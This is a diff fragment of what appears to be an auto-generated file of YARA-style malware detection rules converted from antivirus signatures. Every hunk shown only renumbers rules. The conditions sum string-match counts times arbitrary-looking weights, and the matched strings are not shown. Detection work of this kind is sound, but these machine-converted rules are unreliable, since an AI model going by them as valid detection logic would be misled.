1)*-52+(#a_72_7 & 1)*29793+(#a_00_8 & 1)*83+(#a_00_9 & 1)*120+(#a_3a_11 & 1)*19521+(#a_61_12 & 1)*281+(#a_03_13 & 1)*1) >=1 } -rule _InfrastructureShared_18558{ +rule _InfrastructureShared_19740{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -225472,7 +240035,7 @@ rule _InfrastructureShared_18558{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_18559{ +rule _InfrastructureShared_19741{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -225486,7 +240049,7 @@ rule _InfrastructureShared_18559{ ((#a_6c_0 & 1)*16675+(#a_55_1 & 1)*21340+(#a_00_3 & 1)*108+(#a_5c_4 & 1)*29537+(#a_61_5 & 1)*24421) >=2 } -rule _InfrastructureShared_18560{ +rule _InfrastructureShared_19742{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -225498,7 +240061,7 @@ rule _InfrastructureShared_18560{ ((#a_46_0 & 1)*16675+(#a_5a_1 & 1)*16762+(#a_53_3 & 1)*13056) >=3 } -rule _InfrastructureShared_18561{ +rule _InfrastructureShared_19743{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -225510,7 +240073,7 @@ rule _InfrastructureShared_18561{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*69+(#a_00_3 & 1)*105) >=3 } -rule _InfrastructureShared_18562{ +rule _InfrastructureShared_19744{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -225521,7 +240084,7 @@ rule _InfrastructureShared_18562{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*45) >=3 } -rule _InfrastructureShared_18563{ +rule _InfrastructureShared_19745{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -225534,7 +240097,7 @@ rule _InfrastructureShared_18563{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*281+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1) >=4 } -rule _InfrastructureShared_18564{ +rule _InfrastructureShared_19746{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -225548,7 +240111,7 @@ rule _InfrastructureShared_18564{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=4 } -rule _InfrastructureShared_18565{ +rule _InfrastructureShared_19747{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -225561,7 +240124,7 @@ rule _InfrastructureShared_18565{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*79+(#a_00_3 & 1)*83+(#a_01_5 & 1)*1) >=4 } -rule _InfrastructureShared_18566{ +rule _InfrastructureShared_19748{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -225572,7 +240135,7 @@ rule _InfrastructureShared_18566{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*0) >=5 } -rule _InfrastructureShared_18567{ +rule _InfrastructureShared_19749{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -225588,7 +240151,7 @@ rule _InfrastructureShared_18567{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*23085+(#a_00_2 & 1)*144+(#a_6c_3 & 1)*25603+(#a_00_5 & 1)*100+(#a_3a_6 & 1)*19521+(#a_65_7 & 1)*29806) >=5 } -rule _InfrastructureShared_18568{ +rule _InfrastructureShared_19750{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -225606,7 +240169,7 @@ rule _InfrastructureShared_18568{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*26995+(#a_6e_2 & 1)*28516+(#a_01_3 & 1)*4095+(#a_90_4 & 1)*27022+(#a_ff_5 & 1)*-61+(#a_6e_6 & 1)*26433+(#a_24_7 & 1)*-28672+(#a_2e_8 & 1)*656) >=6 } -rule _InfrastructureShared_18569{ +rule _InfrastructureShared_19751{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -225623,7 +240186,7 @@ rule _InfrastructureShared_18569{ ((#a_54_0 & 1)*18467+(#a_01_2 & 1)*-28640+(#a_90_3 & 1)*0+(#a_ff_4 & 1)*400+(#a_65_6 & 1)*385+(#a_74_7 & 1)*29441+(#a_00_8 & 1)*110+(#a_00_9 & 1)*110) >=10 } -rule _InfrastructureShared_18570{ +rule _InfrastructureShared_19752{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 04 00 21 " @@ -225635,7 +240198,7 @@ rule _InfrastructureShared_18570{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*99+(#a_00_2 & 1)*103) >=12 } -rule _InfrastructureShared_18571{ +rule _InfrastructureShared_19753{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 0e 00 21 " @@ -225658,7 +240221,7 @@ rule _InfrastructureShared_18571{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*11634+(#a_73_2 & 1)*20585+(#a_73_3 & 1)*-32758+(#a_66_4 & 1)*20343+(#a_01_5 & 1)*28419+(#a_e5_6 & 1)*-23067+(#a_65_7 & 1)*24884+(#a_5f_8 & 1)*29281+(#a_01_9 & 1)*-28615+(#a_2d_10 & 1)*23085+(#a_5a_11 & 1)*16762+(#a_59_12 & 1)*21582+(#a_2d_13 & 1)*2305) >=17 } -rule _InfrastructureShared_18572{ +rule _InfrastructureShared_19754{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1a 00 10 00 08 00 21 " @@ -225674,7 +240237,7 @@ rule _InfrastructureShared_18572{ ((#a_46_0 & 1)*16675+(#a_28_1 & 1)*769+(#a_16_2 & 1)*-505+(#a_2d_3 & 1)*4357+(#a_e5_4 & 1)*-23296+(#a_69_5 & 1)*28530+(#a_00_7 & 1)*109) >=16 } -rule _InfrastructureShared_18573{ +rule _InfrastructureShared_19755{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -225687,7 +240250,7 @@ rule _InfrastructureShared_18573{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*110+(#a_41_3 & 1)*11617+(#a_61_4 & 1)*11585) >=1 } -rule _InfrastructureShared_18574{ +rule _InfrastructureShared_19756{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -225699,7 +240262,7 @@ rule _InfrastructureShared_18574{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*103+(#a_00_3 & 1)*65) >=2 } -rule _InfrastructureShared_18575{ +rule _InfrastructureShared_19757{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -225714,7 +240277,7 @@ rule _InfrastructureShared_18575{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2448+(#a_61_2 & 1)*281+(#a_03_3 & 1)*2+(#a_03_4 & 1)*2+(#a_03_5 & 1)*2) >=2 } -rule _InfrastructureShared_18576{ +rule _InfrastructureShared_19758{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -225726,7 +240289,7 @@ rule _InfrastructureShared_18576{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*111+(#a_00_3 & 1)*111) >=3 } -rule _InfrastructureShared_18577{ +rule _InfrastructureShared_19759{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -225739,7 +240302,7 @@ rule _InfrastructureShared_18577{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*116+(#a_00_2 & 1)*101+(#a_00_3 & 1)*112) >=3 } -rule _InfrastructureShared_18578{ +rule _InfrastructureShared_19760{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0b 00 21 " @@ -225759,7 +240322,7 @@ rule _InfrastructureShared_18578{ ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*29806+(#a_65_2 & 1)*29984+(#a_80_3 & 1)*1+(#a_03_4 & 1)*2+(#a_6f_5 & 1)*0+(#a_03_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1) >=3 } -rule _InfrastructureShared_18579{ +rule _InfrastructureShared_19761{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -225774,7 +240337,7 @@ rule _InfrastructureShared_18579{ ((#a_54_0 & 1)*18467+(#a_08_1 & 1)*5669+(#a_0c_2 & 1)*5896+(#a_43_3 & 1)*16692+(#a_72_4 & 1)*17966+(#a_52_6 & 1)*21320) >=7 } -rule _InfrastructureShared_18580{ +rule _InfrastructureShared_19762{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 08 00 21 " @@ -225790,7 +240353,7 @@ rule _InfrastructureShared_18580{ ((#a_54_0 & 1)*18467+(#a_57_1 & 1)*24832+(#a_00_2 & 1)*110+(#a_6d_3 & 1)*28486+(#a_00_5 & 1)*47+(#a_76_6 & 1)*21087+(#a_0c_7 & 1)*17409) >=7 } -rule _InfrastructureShared_18581{ +rule _InfrastructureShared_19763{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -225809,7 +240372,7 @@ rule _InfrastructureShared_18581{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*-29752+(#a_8b_2 & 1)*1025+(#a_6f_3 & 1)*0+(#a_67_4 & 1)*27763+(#a_6e_5 & 1)*27747+(#a_73_6 & 1)*28265+(#a_6e_7 & 1)*28009+(#a_6e_8 & 1)*25956+(#a_01_9 & 1)*25956) >=7 } -rule _InfrastructureShared_18582{ +rule _InfrastructureShared_19764{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -225826,7 +240389,7 @@ rule _InfrastructureShared_18582{ ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*25697+(#a_6b_2 & 1)*26980+(#a_6e_3 & 1)*22364+(#a_6e_4 & 1)*29305+(#a_67_5 & 1)*28257+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1) >=8 } -rule _InfrastructureShared_18583{ +rule _InfrastructureShared_19765{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -225845,7 +240408,7 @@ rule _InfrastructureShared_18583{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*25970+(#a_65_2 & 1)*25970+(#a_70_3 & 1)*23553+(#a_00_4 & 1)*28265+(#a_ff_5 & 1)*28648+(#a_00_6 & 1)*112+(#a_4c_7 & 1)*7424+(#a_00_8 & 1)*117+(#a_0a_9 & 1)*-28672) >=10 } -rule _InfrastructureShared_18584{ +rule _InfrastructureShared_19766{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 05 00 21 " @@ -225859,7 +240422,7 @@ rule _InfrastructureShared_18584{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*23167+(#a_c0_2 & 1)*0+(#a_54_3 & 1)*8514+(#a_00_4 & 1)*114) >=11 } -rule _InfrastructureShared_18585{ +rule _InfrastructureShared_19767{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0c 00 08 00 21 " @@ -225874,7 +240437,7 @@ rule _InfrastructureShared_18585{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*115+(#a_00_3 & 1)*76+(#a_02_4 & 1)*1+(#a_02_5 & 1)*1+(#a_6f_6 & 1)*0) >=12 } -rule _InfrastructureShared_18586{ +rule _InfrastructureShared_19768{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 08 00 21 " @@ -225890,7 +240453,7 @@ rule _InfrastructureShared_18586{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*99+(#a_00_3 & 1)*100+(#a_69_4 & 1)*25441+(#a_67_5 & 1)*26226+(#a_5c_6 & 1)*25970+(#a_01_7 & 1)*27756) >=16 } -rule _InfrastructureShared_18587{ +rule _InfrastructureShared_19769{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -225913,7 +240476,7 @@ rule _InfrastructureShared_18587{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*27748+(#a_6e_2 & 1)*29300+(#a_77_3 & 1)*-32756+(#a_71_4 & 1)*28018+(#a_00_5 & 1)*115+(#a_00_7 & 1)*51+(#a_00_8 & 1)*105+(#a_01_9 & 1)*13106+(#a_61_10 & 1)*29541+(#a_65_12 & 1)*17152+(#a_00_13 & 1)*31088+(#a_52_14 & 1)*12032+(#a_69_15 & 1)*28524) >=16 } -rule _InfrastructureShared_18588{ +rule _InfrastructureShared_19770{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 08 00 21 " @@ -225928,7 +240491,7 @@ rule _InfrastructureShared_18588{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*109+(#a_00_4 & 1)*55+(#a_00_5 & 1)*101+(#a_4d_6 & 1)*25927+(#a_65_7 & 1)*29806) >=17 } -rule _InfrastructureShared_18589{ +rule _InfrastructureShared_19771{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 09 00 21 " @@ -225945,7 +240508,7 @@ rule _InfrastructureShared_18589{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28422+(#a_68_2 & 1)*13383+(#a_00_3 & 1)*17741+(#a_35_4 & 1)*28928+(#a_6c_5 & 1)*26984+(#a_00_7 & 1)*51+(#a_00_8 & 1)*31277) >=18 } -rule _InfrastructureShared_18590{ +rule _InfrastructureShared_19772{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -225957,7 +240520,7 @@ rule _InfrastructureShared_18590{ ((#a_46_0 & 1)*16675+(#a_5c_1 & 1)*12592+(#a_00_3 & 1)*109) >=2 } -rule _InfrastructureShared_18591{ +rule _InfrastructureShared_19773{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -225970,7 +240533,7 @@ rule _InfrastructureShared_18591{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*119+(#a_61_2 & 1)*24064+(#a_00_4 & 1)*99) >=3 } -rule _InfrastructureShared_18592{ +rule _InfrastructureShared_19774{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0c 00 21 " @@ -225991,7 +240554,7 @@ rule _InfrastructureShared_18592{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*5376+(#a_73_2 & 1)*27745+(#a_5f_3 & 1)*25963+(#a_01_4 & 1)*-28668+(#a_03_5 & 1)*1168+(#a_90_6 & 1)*3885+(#a_0f_7 & 1)*3+(#a_02_8 & 1)*-28632+(#a_01_9 & 1)*-28662+(#a_02_10 & 1)*-28632+(#a_01_11 & 1)*30986) >=3 } -rule _InfrastructureShared_18593{ +rule _InfrastructureShared_19775{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -226004,7 +240567,7 @@ rule _InfrastructureShared_18593{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*400+(#a_00_2 & 1)*260+(#a_02_3 & 1)*-28632) >=4 } -rule _InfrastructureShared_18594{ +rule _InfrastructureShared_19776{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -226017,7 +240580,7 @@ rule _InfrastructureShared_18594{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*11568+(#a_39_2 & 1)*12378+(#a_00_3 & 1)*105) >=5 } -rule _InfrastructureShared_18595{ +rule _InfrastructureShared_19777{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -226030,7 +240593,7 @@ rule _InfrastructureShared_18595{ ((#a_54_0 & 1)*18467+(#a_72_2 & 1)*9473+(#a_01_3 & 1)*-28632+(#a_09_4 & 1)*2560) >=5 } -rule _InfrastructureShared_18596{ +rule _InfrastructureShared_19778{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -226044,7 +240607,7 @@ rule _InfrastructureShared_18596{ ((#a_5f_0 & 1)*16931+(#a_00_2 & 1)*111+(#a_00_3 & 1)*114+(#a_2e_4 & 1)*28524+(#a_00_5 & 1)*6) >=6 } -rule _InfrastructureShared_18597{ +rule _InfrastructureShared_19779{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -226058,7 +240621,7 @@ rule _InfrastructureShared_18597{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29798+(#a_5c_2 & 1)*29285+(#a_61_3 & 1)*28530+(#a_66_4 & 1)*18689) >=6 } -rule _InfrastructureShared_18598{ +rule _InfrastructureShared_19780{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -226076,7 +240639,7 @@ rule _InfrastructureShared_18598{ ((#a_4c_0 & 1)*21539+(#a_64_1 & 1)*29285+(#a_44_2 & 1)*27716+(#a_00_3 & 1)*93+(#a_00_4 & 1)*111+(#a_00_5 & 1)*116+(#a_61_6 & 1)*28757+(#a_61_7 & 1)*108+(#a_00_8 & 1)*105) >=6 } -rule _InfrastructureShared_18599{ +rule _InfrastructureShared_19781{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -226091,7 +240654,7 @@ rule _InfrastructureShared_18599{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29295+(#a_41_2 & 1)*6912+(#a_61_3 & 1)*26988+(#a_00_5 & 1)*46+(#a_65_6 & 1)*16687) >=7 } -rule _InfrastructureShared_18600{ +rule _InfrastructureShared_19782{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -226114,7 +240677,7 @@ rule _InfrastructureShared_18600{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*29540+(#a_66_2 & 1)*29555+(#a_6f_3 & 1)*17921+(#a_70_4 & 1)*20993+(#a_01_5 & 1)*25962+(#a_67_6 & 1)*-32500+(#a_73_7 & 1)*16735+(#a_6e_8 & 1)*27247+(#a_00_9 & 1)*97+(#a_01_11 & 1)*2304+(#a_33_12 & 1)*20545+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1) >=15 } -rule _InfrastructureShared_18601{ +rule _InfrastructureShared_19783{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 12 00 21 " @@ -226141,7 +240704,7 @@ rule _InfrastructureShared_18601{ ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*26994+(#a_70_2 & 1)*28483+(#a_74_3 & 1)*25970+(#a_64_4 & 1)*26740+(#a_00_5 & 1)*109+(#a_6c_6 & 1)*11888+(#a_6f_7 & 1)*29289+(#a_9c_8 & 1)*32737+(#a_01_9 & 1)*30058+(#a_f8_10 & 1)*-31321+(#a_01_11 & 1)*28515+(#a_53_12 & 1)*26880+(#a_49_13 & 1)*25974+(#a_2f_14 & 1)*14963+(#a_56_15 & 1)*22842+(#a_00_16 & 1)*114+(#a_55_17 & 1)*384) >=18 } -rule _InfrastructureShared_18602{ +rule _InfrastructureShared_19784{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,32 00 32 00 0d 00 21 " @@ -226163,7 +240726,7 @@ rule _InfrastructureShared_18602{ ((#a_4c_0 & 1)*21539+(#a_46_1 & 1)*25188+(#a_65_2 & 1)*8303+(#a_76_3 & 1)*25646+(#a_54_4 & 1)*26966+(#a_75_5 & 1)*11777+(#a_01_6 & 1)*-2986+(#a_f8_7 & 1)*-31319+(#a_46_8 & 1)*17457+(#a_35_9 & 1)*14147+(#a_38_10 & 1)*16705+(#a_32_11 & 1)*14401+(#a_00_12 & 1)*2) >=50 } -rule _InfrastructureShared_18603{ +rule _InfrastructureShared_19785{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 1a 00 21 " @@ -226194,7 +240757,7 @@ rule _InfrastructureShared_18603{ ((#a_54_0 & 1)*18467+(#a_e5_2 & 1)*-1535+(#a_2e_3 & 1)*2048+(#a_6f_4 & 1)*31093+(#a_a9_5 & 1)*3072+(#a_00_7 & 1)*144+(#a_02_8 & 1)*-29439+(#a_73_9 & 1)*19713+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_71_12 & 1)*0+(#a_73_13 & 1)*26469+(#a_63_14 & 1)*21358+(#a_50_15 & 1)*11374+(#a_59_16 & 1)*17996+(#a_6d_17 & 1)*25384+(#a_00_18 & 1)*109+(#a_63_19 & 1)*28270+(#a_41_20 & 1)*11617+(#a_00_22 & 1)*51+(#a_00_23 & 1)*108+(#a_00_25 & 1)*111) >=1 } -rule _InfrastructureShared_18604{ +rule _InfrastructureShared_19786{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -226208,7 +240771,7 @@ rule _InfrastructureShared_18604{ ((#a_46_0 & 1)*16675+(#a_68_1 & 1)*26994+(#a_44_2 & 1)*16688+(#a_33_3 & 1)*12598+(#a_39_4 & 1)*12358) >=2 } -rule _InfrastructureShared_18605{ +rule _InfrastructureShared_19787{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0a 00 21 " @@ -226227,7 +240790,7 @@ rule _InfrastructureShared_18605{ ((#a_46_0 & 1)*16675+(#a_4c_1 & 1)*25931+(#a_6f_2 & 1)*29806+(#a_6e_3 & 1)*17184+(#a_69_4 & 1)*24944+(#a_2d_5 & 1)*14637+(#a_5a_6 & 1)*16762+(#a_64_7 & 1)*28265+(#a_45_8 & 1)*26725+(#a_36_9 & 1)*29537) >=2 } -rule _InfrastructureShared_18606{ +rule _InfrastructureShared_19788{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -226239,7 +240802,7 @@ rule _InfrastructureShared_18606{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*8261+(#a_00_3 & 1)*116) >=4 } -rule _InfrastructureShared_18607{ +rule _InfrastructureShared_19789{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -226251,7 +240814,7 @@ rule _InfrastructureShared_18607{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*48+(#a_54_4 & 1)*1024) >=6 } -rule _InfrastructureShared_18608{ +rule _InfrastructureShared_19790{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0c 00 21 " @@ -226271,7 +240834,7 @@ rule _InfrastructureShared_18608{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29541+(#a_00_3 & 1)*101+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_71_6 & 1)*0+(#a_5c_7 & 1)*29811+(#a_2e_8 & 1)*29285+(#a_65_9 & 1)*25964+(#a_54_10 & 1)*20296+(#a_4c_11 & 1)*17409) >=8 } -rule _InfrastructureShared_18609{ +rule _InfrastructureShared_19791{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -226288,7 +240851,7 @@ rule _InfrastructureShared_18609{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25959+(#a_01_2 & 1)*7168+(#a_72_3 & 1)*28787+(#a_00_4 & 1)*13366+(#a_64_5 & 1)*21327+(#a_00_6 & 1)*14384+(#a_49_7 & 1)*384) >=9 } -rule _InfrastructureShared_18610{ +rule _InfrastructureShared_19792{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 29 09 29 1c 00 21 " @@ -226325,7 +240888,7 @@ rule _InfrastructureShared_18610{ ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*17493+(#a_80_2 & 1)*100+(#a_80_3 & 1)*100+(#a_80_4 & 1)*100+(#a_80_5 & 1)*100+(#a_80_6 & 1)*100+(#a_80_7 & 1)*100+(#a_80_8 & 1)*100+(#a_80_9 & 1)*1+(#a_80_10 & 1)*1+(#a_80_11 & 1)*1+(#a_80_12 & 1)*1+(#a_80_13 & 1)*1+(#a_80_14 & 1)*1+(#a_80_15 & 1)*1+(#a_80_16 & 1)*1+(#a_80_17 & 1)*1+(#a_80_18 & 1)*1+(#a_80_19 & 1)*1+(#a_80_20 & 1)*1+(#a_71_21 & 1)*0+(#a_61_22 & 1)*29301+(#a_5c_23 & 1)*30575+(#a_36_24 & 1)*28519+(#a_72_25 & 1)*28524+(#a_64_26 & 1)*21550+(#a_76_27 & 1)*25958) >=10505 } -rule _InfrastructureShared_18611{ +rule _InfrastructureShared_19793{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -226344,7 +240907,7 @@ rule _InfrastructureShared_18611{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*31333+(#a_65_2 & 1)*24942+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_71_5 & 1)*0+(#a_65_6 & 1)*26482+(#a_6f_7 & 1)*28265+(#a_01_8 & 1)*6656+(#a_76_9 & 1)*23606) >=10 } -rule _InfrastructureShared_18612{ +rule _InfrastructureShared_19794{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -226361,7 +240924,7 @@ rule _InfrastructureShared_18612{ ((#a_54_0 & 1)*18467+(#a_77_1 & 1)*26223+(#a_5c_3 & 1)*9473+(#a_6d_4 & 1)*29793+(#a_6e_5 & 1)*22330+(#a_66_7 & 1)*21249+(#a_61_8 & 1)*29798+(#a_71_9 & 1)*0) >=10 } -rule _InfrastructureShared_18613{ +rule _InfrastructureShared_19795{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -226380,7 +240943,7 @@ rule _InfrastructureShared_18613{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*13682+(#a_01_2 & 1)*9472+(#a_72_3 & 1)*27497+(#a_32_4 & 1)*28265+(#a_65_5 & 1)*26950+(#a_64_6 & 1)*17252+(#a_00_7 & 1)*29541+(#a_6c_8 & 1)*17409+(#a_6c_9 & 1)*28527) >=10 } -rule _InfrastructureShared_18614{ +rule _InfrastructureShared_19796{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 10 00 21 " @@ -226402,7 +240965,7 @@ rule _InfrastructureShared_18614{ ((#a_46_0 & 1)*16675+(#a_53_1 & 1)*27971+(#a_6c_2 & 1)*25938+(#a_74_3 & 1)*27749+(#a_54_4 & 1)*27751+(#a_6c_5 & 1)*30575+(#a_6e_6 & 1)*272+(#a_46_7 & 1)*4096+(#a_73_8 & 1)*17005+(#a_03_10 & 1)*-28651+(#a_00_11 & 1)*144+(#a_00_13 & 1)*48+(#a_00_14 & 1)*93) >=10 } -rule _InfrastructureShared_18615{ +rule _InfrastructureShared_19797{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -226422,7 +240985,7 @@ rule _InfrastructureShared_18615{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*27977+(#a_74_2 & 1)*31090+(#a_61_3 & 1)*21249+(#a_50_5 & 1)*14080+(#a_00_6 & 1)*400+(#a_04_7 & 1)*-28539+(#a_01_8 & 1)*5631+(#a_00_9 & 1)*58+(#a_00_11 & 1)*112+(#a_00_12 & 1)*58) >=13 } -rule _InfrastructureShared_18616{ +rule _InfrastructureShared_19798{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 09 00 21 " @@ -226440,7 +241003,7 @@ rule _InfrastructureShared_18616{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1) >=14 } -rule _InfrastructureShared_18617{ +rule _InfrastructureShared_19799{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -226460,7 +241023,7 @@ rule _InfrastructureShared_18617{ 